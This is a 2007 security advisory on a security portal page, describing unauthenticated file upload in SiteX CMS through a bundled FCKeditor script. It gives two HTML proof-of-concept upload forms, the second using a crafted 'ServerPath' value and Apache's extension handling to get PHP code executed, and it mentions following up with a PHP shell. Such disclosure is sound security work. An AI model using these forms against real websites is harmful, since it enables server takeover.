Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
February 4, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 Error solutions
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 Game Reviews
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: nubnub
New Today: 1
New Yesterday: 1
Overall: 7969

People Online:
Visitors: 186
Members: 2
Total: 188

Online Now:
01: nubnub - Your Account
02: ZiPo - Homepage
milw0rm
·[dos / poc] - PHP 5.4SVN-2012-02-03 htmlspecialchars/entities Buffer Overflow
·[dos / poc] - torrent-stats httpd.c Denial of Service
·[remote exploits] - Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Execute
·[remote exploits] - Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
·[dos / poc] - NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability
·[dos / poc] - OfficeSIP Server 3.1 Denial Of Service Vulnerability
·[webapps / 0day] - Apache Struts Multiple Persistent Cross-Site Scripting Vulnerabilities
·[webapps / 0day] - Sphinix Mobile Web Server 3.1.2.47 Multiple Persistent XSS Vulnerabilities
·[win32] - win32/xp sp2 ARABIC (ar) mechanism shellcode + proxy 500 bytes
·[remote exploits] - Webkit normalize bug for android 2.2 (CVE-2010-1759)

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-012
·HP Security Bulletin HPSBMU02739 SSRT100280
·Apple Security Advisory 2012-02-01-1
·Red Hat Security Advisory 2012-0096-01
·Red Hat Security Advisory 2012-0095-01
·Red Hat Security Advisory 2012-0093-01
·Red Hat Security Advisory 2012-0094-01
·Red Hat Security Advisory 2012-0091-01
·Red Hat Security Advisory 2012-0092-01
·Debian Security Advisory 2402-1

read more...
[waraxe-2007-SA#057] - Unauthorized File Upload in SiteX CMS





Author: Janek Vind "waraxe"
Date: 27. September 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-57.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://sitex.bjsintay.com/

SiteX is a versitile web tool that will enable you to start your own
dynamic website in under 5 minutes. Driven by PHP and MySQL, SiteX
consists of components common to most personal and professional websites.

Vulnerabilities: file upload possibilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SiteX CMS contains third-party scripts from FCKeditor. One of them is:
"includes/fck/editor/filemanager/upload/php/upload.php". This particular
script does not have any checks against user validity and anyone can try
to upload files to SiteX-powered website.

Here is proof-of-concept file for testing:

------------>[proof-of-concept]<-----------
<html>
<body>
<center>
<form action="http://localhost/sitex.0.7.3.beta/includes/fck/editor/
filemanager/upload/php/upload.php?ServerPath=/sitex.0.7.3.beta/"
enctype="multipart/form-data" method="post">
<input type="file" name="NewFile" size="140">
<input type="submit" value="Test">
</center>
</body>
</html>
------------>[/proof-of-concept]<-----------

Parameter "ServerPath" must be changed as needed. Now, by using this
PoC upload file we can upload to victim server any files, except with
some predefined (dangerous) extensions.

$Config['DeniedExtensions']['File'] = array('php','php2','php3',
'php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm',
'cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi') ;

But we really want to upload php scripts to victim webserver ...
Well, let's assume, that we have php file "test.waraxe". As we see,
file extension is "waraxe" :)
Now there is another PoC testfile:

------------>[proof-of-concept]<-----------
<html>
<body>
<center>
<form action="http://localhost/sitex.0.7.3.beta/includes/fck/editor/
filemanager/upload/php/upload.php?ServerPath=/sitex.0.7.3.beta/x.php."
enctype="multipart/form-data" method="post">
<input type="file" name="NewFile" size="140">
<input type="submit" value="Test">
</center>
</body>
</html>
------------>[/proof-of-concept]<-----------

And when we use this upload form, then we will have file named
"x.php.test.waraxe" in target webserver. Does anyone recall "RAR exploit"?
Google for "RAR exploit coppermine" and find out, that Apache webserver
has interesting feature: if we request file with unknown extension (".waraxe")
and if filename contains ".php.", then Apache will try to handle it as php file :)
So that we can now upload to webserver any php files and get php scripting level
access to target server. Next step can be uploading php shell and escalating
attack.

//-----> See ya soon and have a nice day ;) <-----//

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and all other people who know me!
Greetings to Raido Kerna.
Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-09-27 (8494 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2386
vince213333  vince213333 - 706
pexli  pexli - 663
Mullog  Mullog - 482
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 353
tsabitah  tsabitah - 328
y3dips  y3dips - 281
lenny  lenny - 275
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Security Basics
·Picking a SIEM: How's envision compared with Arcsight?
·Re: Best Commercial Security Testing tools
·Re: CISSP online training
·Re: CISSP online training
·CISSP online training
·Re: Log viewer
·RE: Re: Log viewer
·Re: Re: Log viewer
·Re: Re: Log viewer
·Re: Best Commercial Security Testing tools

read more...
alexa



Book Opinions
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.143 Seconds